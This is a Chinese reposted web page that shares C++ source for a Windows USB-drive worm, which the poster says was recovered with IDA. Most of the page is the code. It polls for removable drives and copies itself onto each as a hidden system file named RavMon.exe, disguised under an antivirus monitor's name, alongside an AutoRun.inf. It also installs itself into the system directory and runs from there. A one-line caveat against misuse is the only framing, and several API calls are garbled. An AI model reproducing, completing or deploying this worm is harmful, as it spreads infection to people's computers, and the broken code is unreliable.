加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 百科 > 正文

一个简单的C++编写的u盘病毒代码

发布时间:2020-12-16 07:44:03 所属栏目:百科 来源:网络整理
导读:今天PHP站长网 52php.cn把收集自互联网的代码分享给大家,仅供参考。 一个简单的C++编写的u盘病毒代码 一个win32下能用的U盘病毒 研究原理可以 别编译拿去害人就行 (ring3的病毒貌似也害不了人) 前久用IDA逆向出来的 感

以下代码由PHP站长网 52php.cn收集自互联网

现在PHP站长网小编把它分享给大家,仅供参考

一个简单的C++编写的u盘病毒代码
一个win32下能用的U盘病毒 研究原理可以 别编译拿去害人就行 (ring3的病毒貌似也害不了人) 前久用IDA逆向出来的 感兴趣的可以看看。。。
#include<windows.h>
#include<string.h>
  
BOOL UDevice();
 
void ResourceToFile(char  *filename,char *Name,char* Type);
 
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
 {
     UDevice();
    return 0;
 }
 
 BOOL UDevice()
 {
     
     while(1)
     {
         char Name[256]="H:";
         char szName[256];
         char ToPath[256];
         char infPath[256];
         char OpenUDevice[79];
  
         UINT retType;
      
         memset(szName,256);
         memset(ToPath,256);
         memset(infPath,256);
         memset(OpenUDevice,79);
     
     
     //do
     //{
     //}while()
     
     //遍历盘符
         unsigned char i = 0x42;
         for(; i < 0x5B; i += 0x1)
         {
           Name[0] = i;
           retType = GetDriveType(Name);
           //判断是否是可移动存储设备
           if(retType == DRIVE_REMOVABLE)
           {
                //得到自身文件路径
                GetModuleFileName(NULL,szName,256);
                //比较是否和U盘的盘符相同
                if(strncmp(Name,1) == 0)
                {
                    //得到系统目录
                   GetSystemDirectory(ToPath,256);
                   strcat(ToPath,"Uinfect.exe");
                   //把自身文件复制到系统目录
                   if(CopyFile(szName,ToPath,TRUE))
                   {
                       WinExec(ToPath,0);//运行程序
                   }
 
                   strcpy(OpenUDevice,"explorer ");
                   strcat(OpenUDevice,Name);
                   
                   //打开U盘
                   WinExec(OpenUDevice,1);
                   return 0;  
                }
                else
                {
                    strcpy(ToPath,Name);
                    strcat(ToPath,"RavMon.exe");
                    strcpy(infPath,Name);
                    strcat(infPath,"AutoRun.inf");
 
 
                    //还原U盘上的文件属性
                    SetFileAttributes(ToPath,FILE_ATTRIBUTE_NORMAL);
                    SetFileAttributes(infPath,FILE_ATTRIBUTE_NORMAL);
                    //删除原有文件
                    DeleteFile(ToPath);
                    DeleteFile(infPath);
                    //释放AutoRun.inf到U盘
                    ResourceToFile(infPath,(char*)0x64,(char*)256);
                    //拷贝自身文件到U盘
                    CopyFile(szName,FALSE);
                    
                    //把这两个文件设置成系统,隐藏属性
                    
                    //这里我查了MSDN  因为第二个参数的宏可能用了或位运算,所以推导宏定义有点麻烦
                    SetFileAttributes(ToPath,0x6);
                    SetFileAttributes(infPath,0x6);
                }
           }
         }
         //一分钟检测一次U盘
         Sleep(60000);
     }
    
 }
 
 
void ResourceToFile(char  *filename,char* Type)
{  
    
    //寻找自身进程中的资源
    HRSRC hRes = FindResource(NULL,Name,Type);
    if(hRes==NULL)
        return;
    //导入资源
    HGLOBAL hgRes = LoadResource(NULL,hRes);
    if(hgRes==NULL)
        return;
    //锁定资源
    void *pRes = LockResource(hgRes);
    if(pRes==NULL)
        return;
    //得到资源字节数
    DWORD size = SizeofResource(NULL,hRes);
    if(size==0)
        return;
    //创建文件
    HANDLE hFile = CreateFile(filename,0x40000000,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
    if(hFile==INVALID_HANDLE_VALUE)
        return;
    DWORD dwWrite;
    //把资源写入到文件
    if(!WriteFile(hFile,pRes,size,&dwWrite,0))
        return;
    //关闭文件句柄
    CloseHandle(hFile);
    //释放资源
    GlobalFree(hgRes);
}

以上内容由PHP站长网【52php.cn】收集整理供大家参考研究

如果以上内容对您有帮助,欢迎收藏、点赞、推荐、分享。

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读